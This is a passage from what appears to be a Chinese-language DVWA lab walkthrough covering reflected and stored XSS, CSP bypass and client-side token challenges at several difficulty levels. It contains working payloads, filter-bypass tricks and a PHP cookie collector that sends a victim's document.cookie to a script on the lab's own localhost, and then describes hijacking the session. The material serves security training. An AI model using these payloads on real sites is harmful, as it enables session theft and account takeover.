- 查看源码,发现刚输入的前端代码:

- 结论:成功弹窗,说明存在XSS漏洞并且可利用;
- 利用XSS获取cookie,编写一个
cookie.php文档用于获取页面的cookie,放置在指定目录下,文档内容如下:此代码将获取到的cookie写入到cookie.txt中:
<?php
$cookie = $_GET["cookie"];
file_put_contents("cookie.txt",$cookie);
?>

- 构造payload获取
cookie:<script>document.location="http://127.0.0.1/dvwa/vulnerabilities/xss_r/cookie.php?cookie="+document.cookie;</script>,其中http://127.0.0.1/dvwa/vulnerabilities/xss_r/cookie.php是cookie.php文件的路径;将payload进行URL编码(http://www.jsons.cn/urlencode/)

- 将编码后的内容
%3Cscript%3Edocument.location%3D%22http%3A%2F%2F127.0.0.1%2Fdvwa%2Fvulnerabilities%2Fxss_r%2Fcookie.php%3Fcookie%3D%22%2Bdocument.cookie%3C%2Fscript%3E拼接到后http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=组成http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=%253Cscript%253Edocument.location%253D%2522http%253A%252F%252F127.0.0.1%252Fdvwa%252Fvulnerabilities%252Fxss_r%252Fcookie.php%253Fcookie%253D%2522%252Bdocument.cookie%253C%252Fscript%253E#进行访问,访问结果如下所示:

-
此时我们在
cookie.php相同目录下生成一个cookie.txt文件:

-
或者采用payload在输入框中输入
<script>alert(document.cookie)</script>,直接获取cookie:

-
利用获取到的cookie登录DVWA,获取到
cookie后打开另外一个浏览器访问dvwa,f12打开开发者工具,修改cookie为获取的cookie并将security 设为low,火狐浏览器修改cookie如下:

-
成功进入:

-
或者采用Burpsuite进行抓包,改包,如下所示:


-
谷歌浏览器修改
cookie如下:

-
成功进入:

3.10.2.2 Middle级别
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
-
对
<script>标签做了过滤,可以使用大小写混淆、双写绕过或事件进行绕过; -
大小写混淆:
输入<ScRipt>alert(/xss/)</script>,成功弹窗:

-
双写绕过:
输入<sc<script>ript>alert(/xss/)</script>,成功弹窗:

-
输入其他标签:
输入<a href = 'javascript:alert(666)'>click</a>,成功弹窗:<a>标签定义超链接,用于从一张页面链接到另一张页面;<a>元素最重要的属性是href属性,它指明链接的目标。

3.10.2.3 High级别
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// /i表示不区分大小写
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
-
preg_replace()函数进行正则表达式过滤<script>标签,使用img标签和其编码转换后的XSS payload。 -
输入
<img src=1 οnerrοr=alert(666)>,成功弹窗:

3.10.3 XSS (Stored)(存储型跨站脚本攻击)
- 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。
3.10.3.1 Low级别
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
- 1)构造payload:
<script>alert(1)</script>,这里写在message输入框里面的,name输入框是限制长度的,其实这个长度限制如果仅仅是在html中控制,是可以突破的。等到第二步的时候来突破:

- 2)尝试突破一下name输入框长度限制:F12打开之后在elements里面找到name元素,可以看到name输入框maxlength是10,直接把maxlength的值改成100:

这样就可以绕开输入框长度的html标签属性限制:

- 打开数据库,发现文本已写入数据库中。

3.10.3.2 Middle级别
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
strip_tags()函数剥去字符串中的 HTML、XML 以及 PHP 的标签。addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。name参数只是过滤了<script>标签而已,我们可以对name参数进行注入。- 双写绕过:使用Burpsuite抓包,将改name参数改为
<sc<script>ript>alert(/xss/)</script>,点击Froward,成功弹窗:


- 大小写混淆绕过:抓包改name参数为
<Script>alert(/xss/)</script>,点击Forward,成功弹窗:


- 使用不带script标签的payload,如输入
<img src=x onmouseover="alert(/xss/)">,鼠标移动到图片,触发弹窗:


- 修改name修改长度限制为100,输入
<Script>alert(/xss/)</script>,触发弹窗:

3.10.3.3 High级别
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
- 可以看到,这里使用正则表达式过滤了
<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。 - 使用Burpsuite抓包,改name参数为
<img src=1 onerror=alert(1)>,成功弹窗:


- 修改name元素限制长度为100,输入
<img src=1 onerror=alert(1)>,成功弹窗:

3.11 CSP Bypass(内容安全策略绕过)
- CSP:是由单词 Content Security Policy 的单词组成,CSP旨在减少跨站脚本攻击(注意这里是减少而不是消灭)。定义的安全性政策性申明,通过CSP所约束的的规责指定可信的内容来源(内容包含脚本、图片、iframe、fton、style等等可能的远程的资源)。通过CSP协定,让WEB处于一个安全的运行环境中。
3.11.1 Low级别
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
header($headerCSP);
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;";
上句代码可以看出以下外部资源可以被执行:
https://pastebin.com
hastebin.com
example.com
code.jquery.com
https://ssl.google-analytics.com
- 访问https://pastebin.com/,可以在New Paste中写下代码,点击create去创建链接:

- 点击raw:

- 复制出现的链接,如
https://pastebin.com/raw/76t1zXbt:

- CSP页面的输入框输入刚才的链接,成功弹窗:

- 这里需要说明一下,https://pastebin.com/这个网址是美国的,访问比较慢,可能不会出现弹窗。
3.11.2 Middle级别
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
- 输入源码中的注释内容
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>,发现可以直接弹窗:

- 接下来查看CSP信息:
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
unsafe-inline:当csp有Unsafe-inline时, 并且受限于csp无法直接引入外部js, 不过当frame-src为self, 或者能引入当前域的资源的时候, 即有一定可能能够引入外部js。nonce-source,仅允许特定的内联脚本块。如源码中:nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=',所以我们直接输入源码中注释的内容就可以了
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>就可以弹窗。
3.11.3 High级别

- 这个级别已经没有输入框了,不过题目已经给了足够多的提示:该页面调用
../..//vulnerabilities/csp/source/jsonp.php来加载代码。修改该页面以运行您自己的代码。
jsonp.php:
<?php
header("Content-Type: application/json; charset=UTF-8");
if (array_key_exists ("callback", $_GET)) {
$callback = $_GET['callback'];
} else {
return "";
}
$outp = array ("answer" => "15");
echo $callback . "(".json_encode($outp).")";
?>
- 查看源码:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';
- 首先先看一下 CSP 头,发现只有
script-src 'self,看来只允许本界面加载的 javascript 执行。查看source/high.js源码:
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
- 大致流程如下:
1)点击按钮,js生成一个script标签(src指向source/jsonp.php?callback=solveNum),并把它加入到DOM中;
2)js中定义了一个solveNum的函数,因此script标签会把远程加载的solveSum({“answer”:“15”})当作js代码执行,而这个形式正好就是调用了solveSum函数;
3)然后这个函数就会在界面适当的位置写入答案。 - 可以将
s.src = "source/jsonp.php?callback=solveSum";改为s.src = "source/jsonp.php?callback=alert('/xss/');";,点击Solve the sum可触发告警:


3.12 JavaScript
- 在页面上输入的内容中带有可执行的 javascript,在输入内容时执行了木马代码,就会导致网页收到安全威胁。
3.12.1 Low级别
- 在
Phase中输入success,提交一下会出现Invalid token,后端很有可能对token进行了校验。

- Burpsuite抓包,分别在
Phase中输入ChangeMe和success,查看请求参数:


- 发现
token值一样,可以看到,无论我们怎样更改phrase的值,token都不会发生变化,也就是说,token的处理方式有两种可能:
1、处理token时,并不会关联phrase的值;
2、处理token时,只会关联phrase的初始值:ChangeMe; - 查看源码:
<?php
$page[ 'body' ] .= <<<EOF
<script>
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);
function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
</script>
EOF;
?>
- 主要查看
generate_token()方法:
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token()方法,拿到了input输入框的phrase的值,然后再以md5加密的方式赋给了隐藏的input输入框的token,也就是说phrase的值是和token的值成关联的,phrase的值经过md5加密后,再赋给token,最后提交给后端。

- 攻击方式1:先在控制台执行
md5(rot13("success"))生成success的MD5值,将MD5值复制到BurpSuite中,进行请求,发现注入成功:

- 攻击方式2:先输入
success,运行函数generate_token(),最后点击Submit,发现可以注入成功:

3.12.2 Middle级别
- 生成
token的函数放在单独的js文件中,生成的方式是将"XX" + phrase 变量的值 + "XX"字符串反转作为token。
<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/medium.js"></script>';
?>
medium.js代码:
function do_something(e)
{
for(var t = "", n = e.length - 1; n >=0; n--)
t += e[n];
return t
}
setTimeout(function()
{
do_elsesomething("XX")
},300);
function do_elsesomething(e)
{
document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}
- 攻击方式:首先注入
success之后抓包看看,现在的token是XXChangMeXX的反转;

- 控制台运行下
do_elsesomething("XX")函数,再次注入success即可;


- 或者按规则改下BurpSuite抓包的
token值:

3.12.3 High级别
- 至少有一个 JavaScript 混淆了,需要找出还原后的重要代码;
- 源码:
<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/high.js"></script>';
?>
high.js源码:源码是一团乱码,这是典型的JS混淆,混淆代码如下所示:

- 使用还原工具(还原工具:http://deobfuscatejavascript.com/#)得到还原后的关键代码如下:
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
- 由于执行
token_part_2("XX")有 300 毫秒延时,所以token_part_1("ABCD", 44)会被先执行,而token_part_3()则是和提交按钮的click事件一起执行。 - 攻击方式:输入框输入
success,依次执行token_part_1("ABCD", 44)和token_part_2("XX"),最后点击提交执行token_part_3():




















